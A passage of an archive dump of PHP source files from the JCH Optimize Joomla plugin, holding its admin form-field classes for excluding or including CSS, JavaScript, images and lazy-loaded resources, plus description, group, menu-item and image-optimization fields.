(!isset($GLOBALS['oAdmin'])) { $params = $this->getParams(); $GLOBALS['oAdmin'] = $oAdmin = new JchOptimizeAdmin($params, TRUE); try { $oAdmin->getAdminLinks($this, $params->get('jchmenu')); } catch (RunTimeException $ex) { JFactory::getApplication()->enqueueMessage($ex->getMessage(), 'Notice'); } catch (Exception $ex) { JchOptimizeLogger::log($ex->getMessage(), $this->getParams()); JFactory::getApplication()->enqueueMessage($ex->getMessage(), 'Warning'); } } return $GLOBALS['oAdmin']; } /** * * @param type $sType * @param type $sExcludeParams * @param type $sGroup */ protected function prepareFieldOptions($sType, $sExcludeParams, $sGroup = '') { $oAdmin = $this->getAdminObject(); return $oAdmin->prepareFieldOptions($sType, $sExcludeParams, $sGroup); } /** * */ protected function getFieldOptions() { } } excludecss.php 0000644 00000002756 15234640275 0007441 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludecss extends JFormFieldTextarea { public $type = 'excludecss'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludecss extends JFormFieldExclude { public $type = 'excludecss'; protected $jch_params = 'excludeCss'; protected function getFieldOptions() { return $this->prepareFieldOptions('css', $this->jch_params, 'file'); } } } excludecssextns.php 0000644 00000003143 15234640275 0010512 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludecssextns extends JFormFieldTextarea { public $type = 'excludecssextns'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludecssextns extends JFormFieldExclude { public $type = 'excludecssextns'; protected $jch_params = 'excludeCssComponents'; /** * * @return type */ protected function getFieldOptions() { return $this->prepareFieldOptions('css', $this->jch_params, 'extension'); } } } excludeimages.php 0000644 00000002775 15234640275 0010117 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludeimages extends JFormFieldTextarea { public $type = 'excludeimages'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludeimages extends JFormFieldExclude { public $type = 'excludeimages'; protected $jch_params = 'csg_exclude_images'; protected function getFieldOptions() { return $this->prepareFieldOptions('images', $this->jch_params); } } } excludejs.php 0000644 00000002744 15234640275 0007262 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludejs extends JFormFieldTextarea { public $type = 'excludejs'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludejs extends JFormFieldExclude { public $type = 'excludejs'; protected $jch_params = 'excludeJs'; protected function getFieldOptions() { return $this->prepareFieldOptions('js', $this->jch_params, 'file'); } } } excludejsextns.php 0000644 00000003141 15234640275 0010334 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludejsextns extends JFormFieldTextarea { public $type = 'excludejsextns'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludejsextns extends JFormFieldExclude { public $type = 'excludejsextns'; protected $jch_params = 'excludeJsComponents'; /** * * @return type */ protected function getFieldOptions() { return $this->prepareFieldOptions('js', $this->jch_params, 'extension'); } } } excludelazyload.php 0000644 00000003160 15234640275 0010456 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludelazyload extends JFormFieldTextarea { public $type = 'excludelazyload'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludelazyload extends JFormFieldExclude { public $type = 'excludelazyload'; protected $jch_params = 'pro_excludeLazyLoad'; /** * * @return type */ protected function getFieldOptions() { return $this->prepareFieldOptions('lazyload', $this->jch_params, 'file'); } } } excludelazyloadclass.php 0000644 00000003212 15234640275 0011502 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludelazyloadclass extends JFormFieldTextarea { public $type = 'excludelazyloadclass'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludelazyloadclass extends JFormFieldExclude { public $type = 'excludelazyloadclass'; protected $jch_params = 'pro_excludeLazyLoadClass'; /** * * @return type */ protected function getFieldOptions() { return $this->prepareFieldOptions('lazyload', $this->jch_params, 'class'); } } } excludelazyloadfolders.php 0000644 00000003225 15234640275 0012037 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludelazyloadfolders extends JFormFieldTextarea { public $type = 'excludelazyloadfolders'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludelazyloadfolders extends JFormFieldExclude { public $type = 'excludelazyloadfolders'; protected $jch_params = 'pro_excludeLazyLoadFolders'; /** * * @return type */ protected function getFieldOptions() { return $this->prepareFieldOptions('lazyload', $this->jch_params, 'folder'); } } } excludescripts.php 0000644 00000003007 15234640275 0010326 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludescripts extends JFormFieldTextarea { public $type = 'excludescripts'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludescripts extends JFormFieldExclude { public $type = 'excludescripts'; protected $jch_params = 'pro_excludeScripts'; protected function getFieldOptions() { return $this->prepareFieldOptions('js', $this->jch_params, 'script'); } } } excludestyles.php 0000644 00000003002 15234640275 0010155 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldExcludestyles extends JFormFieldTextarea { public $type = 'excludestyles'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldExcludestyles extends JFormFieldExclude { public $type = 'excludestyles'; protected $jch_params = 'pro_excludeStyles'; protected function getFieldOptions() { return $this->prepareFieldOptions('css', $this->jch_params, 'style'); } } } includeimages.php 0000644 00000002775 15234640275 0010111 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldIncludeimages extends JFormFieldTextarea { public $type = 'includeimages'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldIncludeimages extends JFormFieldExclude { public $type = 'includeimages'; protected $jch_params = 'csg_include_images'; protected function getFieldOptions() { return $this->prepareFieldOptions('images', $this->jch_params); } } } jchdescription.php 0000644 00000011163 15234640275 0010277 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die('No direct access'); class JFormFieldJchdescription extends JFormField { public $type = 'jchdescription'; protected function getLabel() { return ''; } protected function getInput() { $attributes = $this->element->attributes(); $html = ''; switch ($attributes['section']) { case 'features': $header = JText::_('JCH_HEADER_MAJOR_FEATURES'); $pro_only = ' <small style="color:red"><em>' . JText::_('JCH_FEATURES_PRO_ONLY') . '</em></small>'; $description = '<ul>' . '<li>' . JText::_('JCH_FEATURES_COMBINE_FILES') . '</li>' . '<li>' . JText::_('JCH_FEATURES_MINIFY_FILES') . '</li>' . '<li>' . JText::_('JCH_FEATURES_SPRITE_GENERATOR') . '</li>' . '<li>' . JText::_('JCH_FEATURES_PRO_CDN') . $pro_only . '</li>' . '<li>' . JText::_('JCH_FEATURES_PRO_LAZY_LOAD') . $pro_only . '</li>' . '<li>' . JText::_('JCH_FEATURES_PRO_OPTIMIZE_CSS_DELIVERY') . $pro_only . '</li>' . '<li>' . JText::_('JCH_FEATURES_PRO_OPTIMIZE_IMAGES') . $pro_only . '</li>' . '</ul>'; break; case 'support': $header = JText::_('JCH_HEADER_SUPPORT'); $description = '<p>' . JText::sprintf('JCH_SUPPORT_DOCUMENTATION', 'https://www.jch-optimize.net/documentation.html', 'https://www.jch-optimize.net/documentation/tutorials.html') . '</p>' . '<p>' . JText::sprintf('JCH_SUPPORT_PLUGIN_OPTIONS', 'https://www.jch-optimize.net/documentation/plugin-options.html') . '</p>' . '<p>' . JText::sprintf('JCH_SUPPORT_FAQ_GUIDE', 'https://www.jch-optimize.net/documentation/troubleshooting-guide.html') . '</p>' . '<p>' . JText::sprintf('JCH_SUPPORT_REQUESTS', 'https://www.jch-optimize.net/subscribe/levels.html', 'https://www.jch-optimize.net/forum.html') . '</p>'; break; case 'feedback': $header = JText::_('JCH_HEADER_FEEDBACK'); $description = '<p>' . JText::sprintf('JCH_FEEDBACK_DESCRIPTION', 'http://extensions.joomla.org/extensions/extension/core-enhancements/performance/jch-optimize') . '</p>'; break; case 'version': $header = ''; $description = '<h4>(Version 5.0.3)</h4>'; break; default: break; } if (version_compare(JVERSION, '3.0', '>=')) { $html .= '</div></div>'; $html .= '<div>'; $html .= $header == '' ? '' : '<h3>' . $header . '</h3>'; $html .= $description; $html .= '</div>'; $html .= '<div><div>'; } return $html; } } jchgroup.php 0000644 00000005737 15234640275 0007122 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die('No direct access'); class JFormFieldJchgroup extends JFormField { public $type = 'jchgroup'; protected function getLabel() { return ''; } protected function getInput() { $attributes = $this->element->attributes(); $html = ''; $header = isset($attributes['label']) ? '<h4>' . JText::_($attributes['label']) . '<span class="fa"></span></h4>' : ''; $description = isset($attributes['description']) ? '<p><em>' . JText::_($attributes['description']) . '</em></p>' : ''; $section = $attributes['section']; $name = $attributes['name']; $class = strpos($name, 'auto') !== FALSE ? 'class="collapsible" ' : ''; $collapsible = '<div ' . $class . '>'; $collapsible .= $header; $collapsible .= $description . '<br>'; $collapsible .= '</div><div>'; if (version_compare(JVERSION, '3.0', '>=')) { $html .= '</div></div>'; if ($section == 'start') { $html .= '<div class="well well-small">'; $html .= $collapsible; } else { $html .= '</div></div>'; } $html .= '<div><div>'; } else { if ($section == 'start') { $html .= '<div class="jchgroup">'; $html .= $collapsible; $html .= '<ul class="adminformlist">'; } else { $html .= '</ul></div></div>'; } } return $html; } } jchmenuitem.php 0000644 00000022403 15234640275 0007576 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; include_once dirname(dirname(__FILE__)) . '/jchoptimize/loader.php'; if (version_compare(JVERSION, '3.0', '>')) { class JFormFieldJchmenuitemcompat extends JFormFieldMenuitem { public function setup(SimpleXMLElement $element, $value, $group = NULL) { $sValue = $this->setupJchMenuItem($element, $value, $group); try { $this->checkPcreVersion(); $oFileRetriever = JchOptimizeFileRetriever::getInstance(); } catch (Exception $ex) { $GLOBALS['bTextArea'] = TRUE; JFactory::getApplication()->enqueueMessage($ex->getMessage(), 'warning'); return FALSE; } if (!$oFileRetriever->isHttpAdapterAvailable()) { return FALSE; } return parent::setup($element, $sValue, $group); } } } else { JFormHelper::loadFieldClass('MenuItem'); class JFormFieldJchmenuitemcompat extends JFormFieldMenuitem { public function setup(&$element, $value, $group = NULL) { if (version_compare(PHP_VERSION, '5.3.0', '>=')) { $sValue = $this->setupJchMenuItem($element, $value, $group); try { $this->checkPcreVersion(); $oFileRetriever = JchOptimizeFileRetriever::getInstance(); } catch (Exception $ex) { $GLOBALS['bTextArea'] = TRUE; JFactory::getApplication()->enqueueMessage($ex->getMessage(), 'error'); return FALSE; } if (!$oFileRetriever->isHttpAdapterAvailable()) { return FALSE; } return parent::setup($element, $sValue, $group); } else { JFactory::getApplication()->enqueueMessage(JText::_('This plugin requires PHP 5.3.0 or greater to work. ' . 'Your installed version is ' . PHP_VERSION), 'error'); JFormHelper::loadFieldClass('Textarea'); return FALSE; } } } } /** * */ class JFormFieldJchmenuitem extends JFormFieldJchmenuitemcompat { public $type = 'jchmenuitem'; /** * * @param type $element * @param type $value * @param type $group * @return type */ public function setupJchMenuItem($element, $value, $group = null) { $GLOBALS['bTextArea'] = FALSE; $this->loadResources(); if (!$value) { $value = $this->getHomePageLink(); } return $value; } /** * * @throws Exception */ protected function checkPcreVersion() { $pcre_version = preg_replace('#(^\d++\.\d++).++$#', '$1', PCRE_VERSION); if (version_compare($pcre_version, '7.2', '<')) { throw new Exception('This plugin requires PCRE Version 7.2 or higher to run. Your installed version is ' . PCRE_VERSION); } } /** * * @return type */ public static function getHomePageLink() { $oMenu = JFactory::getApplication()->getMenu('site'); $oDefaultMenuItem = $oMenu->getDefault(); return $oDefaultMenuItem->id; } /** * */ protected function loadResources() { $oDocument = JFactory::getDocument(); $sScript = ''; if (!defined('JCH_VERSION')) { define('JCH_VERSION', '5.0.3'); } if (version_compare(JVERSION, '3.0', '<')) { JHtml::stylesheet('plg_jchoptimize/jquery.chosen.min.css', array(), TRUE); JHtml::script('plg_jchoptimize/jquery.min.js', FALSE, TRUE); JHtml::script('plg_jchoptimize/jquery.noconflict.js', FALSE, TRUE); JHtml::script('plg_jchoptimize/jquery.chosen.min.js', FALSE, TRUE); $sScript .= <<<JCHSCRIPT jQuery(document).ready( function() { jQuery(".chzn-custom-value").chosen({width: "240px"}); }); JCHSCRIPT; $sStyle = <<<JCHCSS .chosen-container{ float: left; margin: 0 7px 7px 0; font-size: 12px; } .chosen-container-multi .chosen-choices li.search-field input[type=text]{ padding: 2px; } .chosen-container .chosen-results li{ line-height: 12px; } .pane-down, .pane-down > .panelform { overflow: visible !important; height: auto !important; } .panelform { margin-bottom: 0 !important; } .adminformlist > li:after, .adminformlist > li:before { display: table; content: " "; line-height: 0; } .adminformlist > li:after { clear: both; } .container-icons { display:table; max-width: 320px; } div.icon a { height: 75px; width: 81px; } div.icon a span { font-size: 1.1em; } .jchgroup{ border: 1px #ccc solid; padding: 0 10px 5px; background-color: #f9f9f9; margin:10px 0; } .jchgroup fieldset{ background-color: #f9f9f9 !important; } .jchgroup h4{ margin: 10px 0; } #jform_params_pro_optimize_images-lbl{ float:none !important; margin-bottom: 10px !important; } form#style-form > div.width-60{ width: 57.5%; } form#style-form > div.width-40{ width: 42.5%; } .container-icons label{ margin-top: 0 !important; min-width: 80px !important; } #jform_params_pro_staticfiles label{ min-width: 0 !important; } /* */ JCHCSS; $oDocument->addStyleDeclaration($sStyle); JHtml::stylesheet('plg_jchoptimize/css-lib/admin.css', array(), TRUE); JHtml::script('plg_jchoptimize/js-lib/admin-utility.js', FALSE, TRUE); } else { $oDocument->addStyleSheetVersion(JUri::root(true) . '/media/plg_jchoptimize/css/css-lib/admin.css', JCH_VERSION); $oDocument->addScriptVersion(JUri::root(true) . '/media/plg_jchoptimize/js/js-lib/admin-utility.js', JCH_VERSION); } $sScript .= <<<JCHSCRIPT function submitJchSettings(){ Joomla.submitbutton('plugin.apply'); } jQuery(document).ready(function() { jQuery('.collapsible').collapsible(); }); var jch_form_id = 'jform_params'; JCHSCRIPT; $oDocument->addScriptDeclaration($sScript); $oDocument->addStyleSheet('//netdna.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.css'); JHtml::script('plg_jchoptimize/jquery.collapsible.js', FALSE, TRUE); } } loadfilesasync.php 0000644 00000003001 15234640275 0010257 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldLoadfilesasync extends JFormFieldTextarea { public $type = 'loadfilesasync'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldLoadfilesasync extends JFormFieldExclude { public $type = 'loadfilesasync'; protected $jch_params = 'pro_loadFilesAsync'; protected function getFieldOptions() { return $this->prepareFieldOptions('js', $this->jch_params, 'file'); } } } optimizeimages.php 0000644 00000012576 15234640275 0010326 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2014 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldOptimizeimages extends JFormField { public $type = 'optimizeimages'; protected function getInput() { } } } else { include_once dirname(__FILE__) . '/auto.php'; class JFormFieldOptimizeimages extends JFormFieldAuto { public $type = 'optimizeimages'; /** * * @return type */ protected function getInput() { $curl_enabled = function_exists('curl_version') && curl_version(); $allow_url_fopen = (bool) ini_get('allow_url_fopen'); if ($curl_enabled && $allow_url_fopen) { if (JFactory::getApplication()->input->get('jchtask') == 'optimizeimages') { $this->optimizeImages(); } $field = '<div id="optimize-images-container" >' . '<div id="file-tree-container" style="max-width:350px;float:left;"></div>'; $field .= parent::getInput(); $field .= '</div>'; } else { $header = JText::_('Error'); $message = !$allow_url_fopen ? JText::_('The PHP setting \'allow_url_fopen\' must be enabled for this feature') : ''; $message = !$curl_enabled ? JText::_('cURL is required for this feature but it\'s not enabled on this server.'): $message; if (version_compare(JVERSION, '3.0', '<')) { $field = '<dl id="system-message"> <dt class="message">' . $header . '</dt> <dd class="message warning"> <ul> <li>' . $message . '</li> </ul> </dd> </dl>'; } else { $field = '<div class="alert"> <h4 class="alert-heading">' . $header . '</h4> <p>' . $message . '</p> </div>'; } } return $field; } /** * * @return string */ protected function getButtons() { $page = JURI::getInstance()->toString() . '&jchtask=optimizeimages'; $aButton = array(); $aButton[0]['link'] = ''; $aButton[0]['icon'] = 'fa-compress'; $aButton[0]['color'] = '#278EB1'; $aButton[0]['text'] = 'Optimize Images'; $aButton[0]['script'] = 'onclick="jchOptimizeImages(\'' . $page . '\'); return false;"'; $aButton[0]['class'] = 'enabled'; return $aButton; } /** * */ protected function optimizeImages() { jimport('joomla.filesystem.file'); JFile::delete(dirname(dirname(__FILE__)) . '/status.json'); $arr = JFactory::getApplication()->input->getArray( array('dir' => 'string', 'cnt' => 'int', 'status' => 'string', 'msg' => 'raw')); $oController = new JControllerLegacy(); if ($arr['status'] == 'fail') { $oController->setMessage(JText::_('Try again. The optimize image function failed with message "' . $arr['msg'] . '"'), 'error'); } else { $dir = JchPlatformUtility::decrypt($arr['dir']); $oController->setMessage(sprintf(JText::_('%1$d images optimized in %2$s'), $arr['cnt'], $dir)); } $this->display($oController); } } } ?> proonly.php 0000644 00000002142 15234640275 0006766 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; class JFormFieldProonly extends JFormField { public $type = 'ProOnly'; protected function getInput() { return '<fieldset style="padding: 5px 5px 0 0"><em>Only available in Pro Version!</em></fieldset>'; } } ?> removecss.php 0000644 00000002751 15234640275 0007300 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') or die; if (version_compare(PHP_VERSION, '5.3.0', '<')) { class JFormFieldRemovecss extends JFormFieldTextarea { public $type = 'removecss'; } } else { include_once dirname(__FILE__) . '/exclude.php'; class JFormFieldRemovecss extends JFormFieldExclude { public $type = 'removecss'; protected $jch_params = 'removeCss'; protected function getFieldOptions() { return $this->prepareFieldOptions('css', $this->jch_params, 'file'); } } } removejs.php 0000644 00000002737 15234640275 0007130 0 ustar 00 <?php /** * JCH Optimize - Joomla! plugin to aggregate and minify external resources for * optmized downloads * @author Samuel Marshall <sdmarshall73@gmail.com> * @copyright Copyright (c) 2010 Samuel Marshall * @license GNU/GPLv3, See LICENSE file * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * If LICENSE file missing, see <http://www.gnu.org/licenses/>. */ defined('_JEXEC') 